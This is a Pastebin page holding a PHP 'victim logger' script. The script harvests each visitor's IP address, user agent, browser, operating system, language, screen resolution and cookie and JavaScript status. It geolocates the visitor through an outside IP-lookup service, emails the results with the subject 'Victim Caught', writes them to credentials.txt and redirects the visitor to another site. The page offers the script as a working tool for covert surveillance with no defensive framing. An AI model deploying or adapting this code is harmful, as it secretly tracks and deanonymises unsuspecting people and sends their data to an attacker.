xrahitel

ip

Jan 16th, 2017
704
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.19 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $IP = $_SERVER['REMOTE_ADDR']; // Saves the IP
  5. $UA = $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
  6. $DATE = date('l jS \of F Y h:i:s A'); // GET DATE
  7. $tz = date_default_timezone_get(); // TIMEZONE
  8. $rem_host = $_SERVER['SERVER_NAME']; //SERVER NAME
  9. $serv_soft = $_SERVER['SERVER_SOFTWARE']; //Detect Type Server example : Apache \!/
  10.  
  11.  
  12. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  13.  
  14. #GET BROWSER FUNCTION
  15. function getBrowser()
  16. {
  17. $u_agent = $_SERVER['HTTP_USER_AGENT'];
  18. $bname = 'Unknown';
  19. $platform = 'Unknown';
  20. $version = "";
  21.  
  22.  
  23. // Next get the name of the useragent yes seperately and for good reason
  24. if (preg_match('/MSIE/i', $u_agent) && !preg_match('/Opera/i', $u_agent)) {
  25. $bname = 'Internet Explorer';
  26. $ub = "MSIE";
  27. } elseif (preg_match('/Firefox/i', $u_agent)) {
  28. $bname = 'Mozilla Firefox';
  29. $ub = "Firefox";
  30. } elseif (preg_match('/Chrome/i', $u_agent)) {
  31. $bname = 'Google Chrome';
  32. $ub = "Chrome";
  33. } elseif (preg_match('/Safari/i', $u_agent)) {
  34. $bname = 'Apple Safari';
  35. $ub = "Safari";
  36. } elseif (preg_match('/Opera/i', $u_agent)) {
  37. $bname = 'Opera';
  38. $ub = "Opera";
  39. } elseif (preg_match('/Netscape/i', $u_agent)) {
  40. $bname = 'Netscape';
  41. $ub = "Netscape";
  42. }
  43.  
  44. // finally get the correct version number
  45. $known = array('Version', $ub, 'other');
  46. $pattern = '#(?<browser>' . join('|', $known) .
  47. ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
  48. if (!preg_match_all($pattern, $u_agent, $matches)) {
  49. // we have no matching number just continue
  50. }
  51.  
  52. // see how many we have
  53. $i = count($matches['browser']);
  54. if ($i != 1) {
  55. //we will have two since we are not using 'other' argument yet
  56. //see if version is before or after the name
  57. if (strripos($u_agent, "Version") < strripos($u_agent, $ub)) {
  58. $version = $matches['version'][0];
  59. } else {
  60. $version = $matches['version'][1];
  61. }
  62. } else {
  63. $version = $matches['version'][0];
  64. }
  65.  
  66. // check if we have a number
  67. if ($version == null || $version == "") {
  68. $version = "?";
  69. }
  70.  
  71. return array(
  72. 'userAgent' => $u_agent,
  73. 'name' => $bname,
  74. 'version' => $version,
  75. 'pattern' => $pattern
  76. );
  77. }
  78.  
  79. #GET OS FUNCTION
  80. function getOS()
  81. {
  82. global $user_agent;
  83.  
  84. $os_platform = "Unknown OS Platform";
  85.  
  86. $os_array = array(
  87. '/windows nt 10/i' => ' Windows NT 10(Windows 10)',
  88. '/windows nt 6.3/i' => 'Windows NT 6.3(Windows 8.1)',
  89. '/windows nt 6.2/i' => 'Windows NT 6.2(Windows 8)',
  90. '/windows nt 6.1/i' => 'Windows NT 6.1(Windows 7)',
  91. '/windows nt 6.0/i' => 'Windows NT 6.0(Windows Vista)',
  92. '/windows nt 5.2/i' => 'Windows NT 5.2(Windows Server 2003/XP x64)',
  93. '/windows nt 5.1/i' => 'Windows NT 5.1(Windows XP)',
  94. '/windows xp/i' => 'Windows XP',
  95. '/windows nt 5.0/i' => 'Windows NT 5.0(Windows 2000)',
  96. '/windows me/i' => 'Windows ME',
  97. '/win98/i' => 'Windows 98',
  98. '/win95/i' => 'Windows 95',
  99. '/win16/i' => 'Windows 3.11',
  100. '/macintosh|mac os x/i' => 'Mac OS X',
  101. '/mac_powerpc/i' => 'Mac OS 9',
  102. '/linux/i' => 'Linux',
  103. '/ubuntu/i' => 'Ubuntu',
  104. '/iphone/i' => 'iPhone',
  105. '/ipod/i' => 'iPod',
  106. '/ipad/i' => 'iPad',
  107. '/android/i' => 'Android',
  108. '/blackberry/i' => 'BlackBerry',
  109. '/webos/i' => 'Mobile'
  110. );
  111.  
  112. foreach ($os_array as $regex => $value) {
  113.  
  114. if (preg_match($regex, $user_agent)) {
  115. $os_platform = $value;
  116. }
  117.  
  118. }
  119.  
  120. return array('os' => $os_platform);
  121.  
  122. }
  123.  
  124. #GET SYSTEM LANGUAGE FUNCTION
  125. function getUserLanguage()
  126. {
  127. $langs = array();
  128. if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
  129. // break up string into pieces (languages and q factors)
  130. preg_match_all('/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i',
  131. $_SERVER['HTTP_ACCEPT_LANGUAGE'], $lang_parse);
  132. if (count($lang_parse[1])) {
  133. // create a list like â??enâ?? => 0.8
  134. $langs = array_combine($lang_parse[1], $lang_parse[4]);
  135. // set default to 1 for any without q factor
  136. foreach ($langs as $lang => $val) {
  137. if ($val === '') $langs[$lang] = 1;
  138. }
  139. // sort list based on value
  140. arsort($langs, SORT_NUMERIC);
  141. }
  142. }
  143. //extract most important (first)
  144. foreach ($langs as $lang => $val) {
  145. break;
  146. }
  147. //if complex language simplify it
  148. if (stristr($lang, "-")) {
  149. $tmp = explode("-", $lang);
  150. $lang = $tmp[0];
  151. }
  152. return $lang;
  153. }
  154.  
  155. function screenResolution()
  156. {
  157. session_start();
  158. if (isset($_SESSION['screen_width']) AND isset($_SESSION['screen_height'])) {
  159. $res = $_SESSION['screen_width'] . 'x' . $_SESSION['screen_height'];
  160. } else if (isset($_REQUEST['width']) AND isset($_REQUEST['height'])) {
  161. $_SESSION['screen_width'] = $_REQUEST['width'];
  162. $_SESSION['screen_height'] = $_REQUEST['height'];
  163. header('Location: ' . $_SERVER['PHP_SELF']);
  164. } else {
  165. echo '<script type="text/javascript">window.location = "' . $_SERVER['PHP_SELF'] . '?width="+screen.width+"&height="+screen.height;</script>';
  166. }
  167. return $res;
  168. }
  169.  
  170. function isJSenabled()
  171. {
  172. if (!isset($_SESSION['js']) || $_SESSION['js'] == "") {
  173. echo "<noscript><meta http-equiv='refresh' content='0;url=/get-javascript-status.php&js=0'> </noscript>";
  174. $js = true;
  175.  
  176. } elseif (isset($_SESSION['js']) && $_SESSION['js'] == "0") {
  177. $js = false;
  178. $_SESSION['js'] = "";
  179.  
  180. } elseif (isset($_SESSION['js']) && $_SESSION['js'] == "1") {
  181. $js = true;
  182. $_SESSION['js'] = "";
  183. }
  184.  
  185. if ($js) {
  186. $enabled = 'Javascript is enabled';
  187. } else {
  188. $enabled = 'Javascript is disabled';
  189. }
  190. return $enabled;
  191. }
  192.  
  193. function areCOOKIESenabled()
  194. {
  195. setcookie("test_cookie", "test", time() + 3600, '/');
  196. if (count($_COOKIE) > 0) {
  197. $cookies = "Cookies are enabled.";
  198. } else {
  199. $cookies = "Cookies are disabled.";
  200. }
  201. return $cookies;
  202. }
  203.  
  204. $location = "http://ip-api.com/json/" . $IP;
  205. $curl = curl_init();
  206. curl_setopt($curl, CURLOPT_URL, $location);
  207. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  208. $resultLocation = curl_exec($curl);
  209. curl_close($curl);
  210.  
  211.  
  212. $func = getBrowser();
  213. $func1 = getOS();
  214.  
  215. $Browser = $func['name'] . " v." . $func['version'];
  216. $OS = $func1['os'];
  217. $SystemLanguage = getUserLanguage($lang);
  218. $Resolution = screenResolution($res);
  219. $Javascript = isJSenabled($enabled);
  220. $Cookie = areCOOKIESenabled($cookies);
  221.  
  222.  
  223.  
  224. // IP Lookup API //
  225. //http://ip-api.com/json/
  226.  
  227.  
  228. $to = "[email protected]"; // Your eMaIL Here
  229. $subject = "[+] $IP | \!/ Victim Caught \!/";
  230. $headers .= 'From:' . $from . "\n";
  231. $headers .= 'Reply-To:' . $from . "\n";
  232.  
  233.  
  234. //SEND INFOS
  235. $msg .= "YOUR VICTIM LOGGED ON THE : " . $DATE . "\r\n";
  236. $msg .= "VICTIM COMPUTER NAME (-PHP 5.4) : " . gethostname() . "\r\n"; //Get Computer Username for less than php version 5.4
  237. $msg .= "VICTIM COMPUTER NAME (+PHP 5.4) : " . gethostbyaddr() ."\r\n"; //Get Computer Username higher than php version 5.4
  238. $msg .= "IP VICTIM : " . $IP . "\r\n";
  239. $msg .= "USER AGENT : " . $UA . "\r\n";
  240. $msg .= "REMOTE HOST : " . $rem_host . "\r\n";
  241. $msg .= "TYPE SERVER : " . $serv_soft . "\r\n";
  242. $msg.="GeoIp:\r\n";
  243.  
  244. foreach(json_decode($resultLocation) as $key => $val){
  245. $msg.="--".$key. "-- = ".$val."\r\n";
  246. }
  247. $msg .= "Browser name & Version : " . $Browser . "\r\n";
  248. $msg .= "Operating system : " . $OS . "\r\n";
  249. $msg .= "Screen Resolution : " . $Resolution . "\r\n";
  250. $msg .= "System language : " . $SystemLanguage . "\r\n";
  251. $msg .= "Javascript : " . $Javascript . "\r\n";
  252. $msg .= "Cookies : " . $Cookie . "\r\n";
  253.  
  254.  
  255. mail($to, $subject, $msg, $headers);
  256. header('Location: http://alligator.cash/index.php/user/2-xrahitel/'); //The riderect
  257. $myfile = fopen("credentials.txt", "a+"); //Also saves the logs to text file
  258. fwrite($myfile, $msg);
  259. fclose($myfile);
  260.  
  261. ?>
Advertisement
Add Comment
Please, Sign In to add comment